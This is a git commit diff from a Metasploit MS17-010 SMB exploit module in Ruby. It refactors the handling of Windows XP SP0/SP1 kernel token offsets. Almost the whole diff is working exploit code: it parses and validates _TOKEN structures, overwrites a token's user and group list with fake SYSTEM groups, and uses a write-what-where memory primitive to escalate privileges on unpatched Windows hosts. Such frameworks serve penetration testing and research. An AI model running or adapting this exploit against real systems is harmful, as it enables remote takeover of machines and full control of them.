more robust Windows XP SP0/SP1 fix

MS-2855/keylogger-mettle-extension
zerosum0x0 2018-01-30 18:11:07 -07:00
parent a9fa1b6a4d
commit d5d3769517
1 changed files with 69 additions and 25 deletions

View File

@ -126,33 +126,10 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
print_status("TOKEN data = #{bin_to_hex(tokenData)}")
end
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0] #unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0] #unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
userAndGroupsAddr, userAndGroupCount = get_group_data_from_token(tokenData)
if @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
print_error("Bad TOKEN offsets detected (group count = #{userAndGroupCount}), performing workaround...")
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
vprint_status("Overwriting _TOKEN UserAndGroups (#{userAndGroupsAddr.to_s(16)})...")
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0]
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0]
if datastore['DBGTRACE']
print_status("New TOKEN offsets (group count = #{userAndGroupCount})")
end
# hopefully its not bad anymore
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
raise MS17_010_Error, "Bad TOKEN offsets after workround (group count = #{userAndGroupCount})... Abort > BSOD"
end
end
end
vprint_status("UserAndGroupCount: 0x#{userAndGroupCount.to_s}")
vprint_status("UserAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
vprint_status('Overwriting token UserAndGroups...')
# modify UserAndGroups info
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount
@ -188,6 +165,73 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
end
def validate_token_offset(tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
# struct _TOKEN:
# ...
# ULONG UserAndGroupCount; // Ro: 4-Bytes
# ULONG RestrictedSidCount; // Ro: 4-Bytes
# ...
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
# ...
userAndGroupCount, restrictedSidCount = tokenData[userAndGroupCountOffset..-1].unpack('VV')
userAndGroupsAddr, restrictedSids = tokenData[userAndGroupsAddrOffset..-1].unpack(@ctx['PTR_FMT']*2)
if datastore['DBGTRACE']
print_status("userAndGroupCount: 0x#{userAndGroupCount.to_s(16)}")
print_status("userAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
print_status("RestrictedSids: 0x#{restrictedSids.to_s(16)}")
print_status("RestrictedSidCount: 0x#{restrictedSidCount.to_s(16)}")
end
# RestrictedSidCount MUST be 0
# RestrictedSids MUST be NULL
#
# userandGroupCount must NOT be 0
# userandGroupsAddr must NOT be NULL
#
# Could also add a failure point here if userAndGroupCount >= x
success = true
if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
print_error('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
success = false
end
return success, userAndGroupCount, userAndGroupsAddr
end
def get_group_data_from_token(tokenData)
# try with default offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
# hack to fix XP SP0 and SP1
# I will avoid over-engineering a more elegant solution and leave this as a hack,
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
if not success and @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
print_status('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
# update with hack offsets
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
# try again with hack offsets
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
end
# still no good. Abort because something is wrong
if not success
raise MS17_010_Error, 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
end
# token parsed and validated
return userAndGroupsAddr, userAndGroupCount
end
def write_what_where(what, where)
if where == 0
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'